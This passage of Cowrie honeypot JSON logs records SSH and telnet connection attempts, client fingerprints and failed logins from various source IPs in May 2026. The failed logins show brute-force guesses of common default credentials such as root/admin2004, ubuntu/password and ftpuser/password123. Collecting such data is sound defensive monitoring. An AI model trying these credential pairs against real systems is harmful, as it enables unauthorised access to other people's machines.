03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:39.295513Z","src_ip":"160.251.185.39","session":"c76b17ca60b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"Aa123456","message":"login attempt [server1/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:40.065785Z","src_ip":"160.251.185.39","session":"c76b17ca60b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:41.251265Z","src_ip":"160.251.185.39","session":"c76b17ca60b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.674501895904541,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:43.519795Z","src_ip":"172.58.252.86","session":"14c1fcaa26c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":56630,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e9ba45a3c03","protocol":"ssh","message":"New connection: 101.47.159.125:56630 (159.203.135.109:22) [session: 0e9ba45a3c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:57.515213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:57.519955Z","src_ip":"101.47.159.125","session":"0e9ba45a3c03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:57.751775Z","src_ip":"101.47.159.125","session":"0e9ba45a3c03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2004","message":"login attempt [root/admin2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:58.707921Z","src_ip":"101.47.159.125","session":"0e9ba45a3c03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:59.942987Z","src_ip":"101.47.159.125","session":"0e9ba45a3c03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40472,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b2b00dfc8e2","protocol":"ssh","message":"New connection: 80.94.92.186:40472 (10.17.0.5:22) [session: 5b2b00dfc8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:00.515562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:00.525294Z","src_ip":"80.94.92.186","session":"5b2b00dfc8e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:00.640332Z","src_ip":"80.94.92.186","session":"5b2b00dfc8e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:01.242185Z","src_ip":"80.94.92.186","session":"5b2b00dfc8e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:02.531977Z","src_ip":"80.94.92.186","session":"5b2b00dfc8e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":33362,"dst_ip":"10.17.0.5","dst_port":22,"session":"a113bf470eb6","protocol":"ssh","message":"New connection: 58.186.20.143:33362 (10.17.0.5:22) [session: a113bf470eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:22.765908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:22.770063Z","src_ip":"58.186.20.143","session":"a113bf470eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:23.020514Z","src_ip":"58.186.20.143","session":"a113bf470eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"password123","message":"login attempt [ftpuser/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:24.055147Z","src_ip":"58.186.20.143","session":"a113bf470eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:25.309663Z","src_ip":"58.186.20.143","session":"a113bf470eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.36.237.127","src_port":38761,"dst_ip":"10.17.0.5","dst_port":23,"session":"7151b1b0c0a9","protocol":"telnet","message":"New connection: 49.36.237.127:38761 (10.17.0.5:23) [session: 7151b1b0c0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:27:48.407183Z"}
{"eventid":"cowrie.session.closed","duration":13.3256094455719,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:01.732668Z","src_ip":"49.36.237.127","session":"7151b1b0c0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":25309,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ad91fe9348a","protocol":"ssh","message":"New connection: 84.239.42.8:25309 (159.203.135.109:22) [session: 3ad91fe9348a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:01.965200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:01.970704Z","src_ip":"84.239.42.8","session":"3ad91fe9348a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:02.101780Z","src_ip":"84.239.42.8","session":"3ad91fe9348a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"70","password":"postgres","message":"login attempt [70/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:02.607359Z","src_ip":"84.239.42.8","session":"3ad91fe9348a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:03.740380Z","src_ip":"84.239.42.8","session":"3ad91fe9348a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.90.198.225","src_port":52616,"dst_ip":"10.17.0.5","dst_port":23,"session":"2684ca707a4c","protocol":"telnet","message":"New connection: 86.90.198.225:52616 (10.17.0.5:23) [session: 2684ca707a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:05.949913Z"}
{"eventid":"cowrie.session.closed","duration":13.58797025680542,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:19.537746Z","src_ip":"86.90.198.225","session":"2684ca707a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":34402,"dst_ip":"10.17.0.5","dst_port":22,"session":"65055a1456a6","protocol":"ssh","message":"New connection: 160.251.185.39:34402 (10.17.0.5:22) [session: 65055a1456a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:41.231320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:41.235963Z","src_ip":"160.251.185.39","session":"65055a1456a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:41.422017Z","src_ip":"160.251.185.39","session":"65055a1456a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:42.196580Z","src_ip":"160.251.185.39","session":"65055a1456a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:28:43.382931Z","src_ip":"160.251.185.39","session":"65055a1456a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":39282,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a017e4d0757","protocol":"ssh","message":"New connection: 58.186.20.143:39282 (10.17.0.5:22) [session: 0a017e4d0757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:21.543217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:21.547705Z","src_ip":"58.186.20.143","session":"0a017e4d0757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:21.795333Z","src_ip":"58.186.20.143","session":"0a017e4d0757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webadmin","message":"login attempt [root/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:22.810180Z","src_ip":"58.186.20.143","session":"0a017e4d0757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:24.060428Z","src_ip":"58.186.20.143","session":"0a017e4d0757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":29714,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc782d6a2a12","protocol":"telnet","message":"New connection: 34.22.225.162:29714 (159.203.135.109:23) [session: cc782d6a2a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:40.148996Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":29720,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a4d8d2bc7a1","protocol":"telnet","message":"New connection: 34.22.225.162:29720 (159.203.135.109:23) [session: 3a4d8d2bc7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:40.306762Z"}
{"eventid":"cowrie.session.closed","duration":0.005259275436401367,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:40.311907Z","src_ip":"34.22.225.162","session":"3a4d8d2bc7a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":29728,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e330fe06449","protocol":"telnet","message":"New connection: 34.22.225.162:29728 (159.203.135.109:23) [session: 6e330fe06449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:40.462497Z"}
{"eventid":"cowrie.session.closed","duration":8.621767044067383,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:48.770673Z","src_ip":"34.22.225.162","session":"cc782d6a2a12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36592,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dfb27caec1c","protocol":"telnet","message":"New connection: 34.22.225.162:36592 (159.203.135.109:23) [session: 9dfb27caec1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:49.619671Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:49.624932Z","src_ip":"34.22.225.162","session":"9dfb27caec1c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:49.628789Z","src_ip":"34.22.225.162","session":"9dfb27caec1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08878755569458008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:49.708351Z","src_ip":"34.22.225.162","session":"9dfb27caec1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36608,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff575cee5d43","protocol":"telnet","message":"New connection: 34.22.225.162:36608 (159.203.135.109:23) [session: ff575cee5d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:49.783283Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36624,"dst_ip":"159.203.135.109","dst_port":23,"session":"599890ff0001","protocol":"telnet","message":"New connection: 34.22.225.162:36624 (159.203.135.109:23) [session: 599890ff0001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:49.939474Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36638,"dst_ip":"159.203.135.109","dst_port":23,"session":"df75a5010d43","protocol":"telnet","message":"New connection: 34.22.225.162:36638 (159.203.135.109:23) [session: df75a5010d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:50.093074Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36644,"dst_ip":"159.203.135.109","dst_port":23,"session":"b72bc2f8f9f7","protocol":"telnet","message":"New connection: 34.22.225.162:36644 (159.203.135.109:23) [session: b72bc2f8f9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:50.247446Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36646,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ba11bc74cc4","protocol":"telnet","message":"New connection: 34.22.225.162:36646 (159.203.135.109:23) [session: 8ba11bc74cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:50.403706Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.225.162","src_port":36654,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb09d7ac7f6f","protocol":"telnet","message":"New connection: 34.22.225.162:36654 (159.203.135.109:23) [session: eb09d7ac7f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:29:50.559236Z"}
